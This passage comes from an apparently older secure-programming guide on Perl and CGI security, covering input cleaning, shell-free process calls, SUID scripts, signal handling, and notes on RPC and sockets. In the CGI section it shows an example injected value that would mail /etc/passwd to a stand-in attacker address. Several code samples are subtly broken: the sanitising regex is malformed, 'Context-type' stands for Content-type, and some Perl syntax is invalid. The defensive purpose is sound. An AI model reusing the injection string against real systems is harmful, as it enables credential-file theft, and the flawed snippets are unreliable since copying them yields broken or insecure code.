$value =~ tr/0-9//cd;

The following code thoroughly cleans out shell characters, but might clean too many characters in some situations (e.g. user text with commas and question marks):

$value =~ s/'\"|*?~<>^()[]{}$\n\r";,//g;

  • When opening pipes or external programs:
    • When calling external programs (e.g. using the system() call), pass the arguments not in one long string, but as separate strings. If this is done, the external program is directly called and a shell is not started. e.g. instead of

      system "/bin/ls -l $myvariable"
      use
      system "/bin/ls","-l", "$myvariable"

    • Don't use backticks, especially where tainted variables are used as part of the command. Instead open a pipe to exec, to ensure that a shell is not called and hence avoid parameter interpretation. A general function to do this is shown below.

            ## run_cmd() acts like system() with seperate parameters,
            ##           except that it returns the output from the command
            ##           in a list rather than to STDOUT.
            sub run_cmd {
               my (@result) = ();
               no strict;               # $pid needs to be created on the fly
      
               # "Open" forks and returns PID. Child runs exec
               # and diverts STDOUT to PIPE.
               if (not defined ($pid = open(PIPE,"-|")) ) {
                  die 'run_cmd(): Unable to fork PIPE';
               }
               if ($pid) {              # this is the parent (pid=child pid)
                  @result = <PIPE>;
                  close PIPE
                     || die "run_cmd(): can't close PIPE @_, $!)";
               } else {                 # child: exec command and send back results
                  select STDOUT; $|=1;  # no buffering
                  #warn "@_"; # could print to httpd error log
                  exec @_;
                  die "run_cmd(): Can't exec: @_, Reason=$!";
               }
               return @result;
            }
    • When writing to pipe commands, it is better to use the following method to avoid invoking the shell and hence avoid parameter interpretation. The following forks a copy of Perl and opens a pipe to the copy:
        open (SORT, "|-") || exec
        "/bin/sort",$myvariable;     # fork & open pipe
        while $input (@input_lines) {          # @input_lines must exist beforehand
          print SORT $input,"\n";     # send contents of $input to sort
        } 
        close SORT; 
  • If SUID perl scripts are needed, upgrade to at least Perl5.003 and use suidperl (see also CERT advisory CA-96.12), to avoid opening a security hole in the system. 
  • If you don't want users to be able to interrupt your Perl scripts, interrupts can be selectively enabled, disabled or handled. To handle an interrupt with a block use local $SIG...:
                    $SIG{INT}  = 'IGNORE';       # ignore ^C
    
                    $SIG{TSTP} = 'IGNORE';       # ignore ^Z
    
                    $SIG{HUP}  = 'IGNORE';       # ignore kill 1
    
                    $SIG{STOP} = 'IGNORE';       # ignore
    
                    $SIG{QUIT} = 'IGNORE';       # ignore ^\
        
  • Perl5 has a "safe" feature that can be used to define what functions and variables are "shared" to a specific namespace. There is also a module SafeCGIPerl designed for webservers with many different users, where the webmaster wants to allow users only to run "safe" Perl scripts from their home directory.
          Use Safe;
          $username='billy';         # public information
          Sub do_something {
               ….
          }
          ## define restricted space
          $compartment1= new Safe 'Ugly';
          ## define what is shared to it
          $compartment1->share('&do_something');
          $compartment1->share('$username');

CGI programming

Follow all the rules in the previous section, in addition:

  • Don't put interpreters (such as Perl or csh) in cgi-bin.
  • GET/POST & Privacy:
    • GET is the most prevalent method of passing data to CGI scripts, but it has dangers: this data is more visible to the user and could also be accessed by the next web server through the HTTP_REFERER variable. The GET URLs also appear in log files (making logs possibly dangerous). With POST, arguments are passed as an "object" (containing fields with values). So POST may be preferrable in certain instances: be aware of the differences.
  • Always clean environment variables of dangerous characters before using them . What if REMOTE_USER has the value bill; mailx baddie@evil.org </etc/passwd? Clean variables of dangerous characters before using them, e.g. remove &;'\"|*?~<>^()[]{}$\n\r;,`.
  • Consider using CGIWRAP on UNIX servers ( ftp://ftp.cc.umr.edu/pub/cgi/cgiwrap ). 
  • When printing messages to a WWW browser, don't forget to put the following on the front of the message, to indicate HTML:
               Pragma\n
               Cache-control\n
               Context-type: text/html\n\n
  • To send email, consider the following method (this example sends the contents of netstat -rn). Note: the -oi option tells sendmail to ignore periods at the start of a line which would otherwise terminate the message
         $to_addr='targetuser@target.com'; 
         $from_addr='me@mycompany.com'; 
         $mail_subject='web results'; 
         open (STATUS, "netstat -nr 2>&1 |") 
           || die "$0: Can't open pipe: $!"; 
         @results = <STATUS>; 
         close STATUS || die "Problem closing pipe: $!"; 
    
         open (EMAIL, "| /usr/lib/sendmail -t -oi") 
           || die "$0: Can't call sendmail, $!"; 
         ## catch SIGPIPE in this block 
         local $SIG{PIPE} = sub {die "$0:sendmail pipe
         broken."}; 
         print EMAIL "From: $from_addr\n"; 
         print EMAIL "To: $to_addr\n";
    	 print EMAIL "Subject: $mail_subject\n\n\n"; 
         print EMAIL @results; 
         close EMAIL || die "$0: Can't close pipe: $!"
  • STDERR is printed to the httpd server log, which can make debugging CGI scripts difficult. Perl scripts can write errors to the browser instead of the log, by entering the above command to the CGI script:
          use CGI::Carp qw(fatalsToBrowser);

Client/Server Communication

RPC
Sun RPC: See 18.6.6.2. Sun's RPC (also called ONC RPC) allows asynchronous and synchronous calls. Most current applications use this RPC as standard. However it provides no security options (they must be implemented at the application level).

Consider using Secure RPC rather than "normal" Sun RPC where possible. (e.g. Secure NFS). RPC is difficult to filter on firewalls.

    DCE RPC:

TBD
NT RPC: The bits of DCE RPC that MS uses. Use extensively by NT services.

Sockets
Sockets is the current defacto standard for client-server applications. Unfortunately, the Socket protocol (originating in BSD UNIX) is a communication method with no inherent secure communication support. Application must implement security themselves.

Using non-standard socket numbers: This makes attacks on socket based servers more difficult. However this is "security through obscurity" and it is desirable to co-ordinate the socket numbers allocated to programs. In the author's opinion, the security gained is not worth the hassle of managing non standard numbers.

References



[java1] 1996 IEEE Symposium on Security and Privacy, "Java Security: From HotJava to Netscape and Beyond", Princeton University
[2] Two students from Berkeley University found this one. Nov. 1995.
[3] The security token can be create en masse for a group of users via the SIMPORT.EXE command line utility.
[4] Solaris 2.5 is V8 based.
[5] The first virus written in WordBasic circulated on the Internet in Aug.1995. In Feb'97, the University of Hamburg reported 205 (mostly Winword) macro viruses.

Featured Links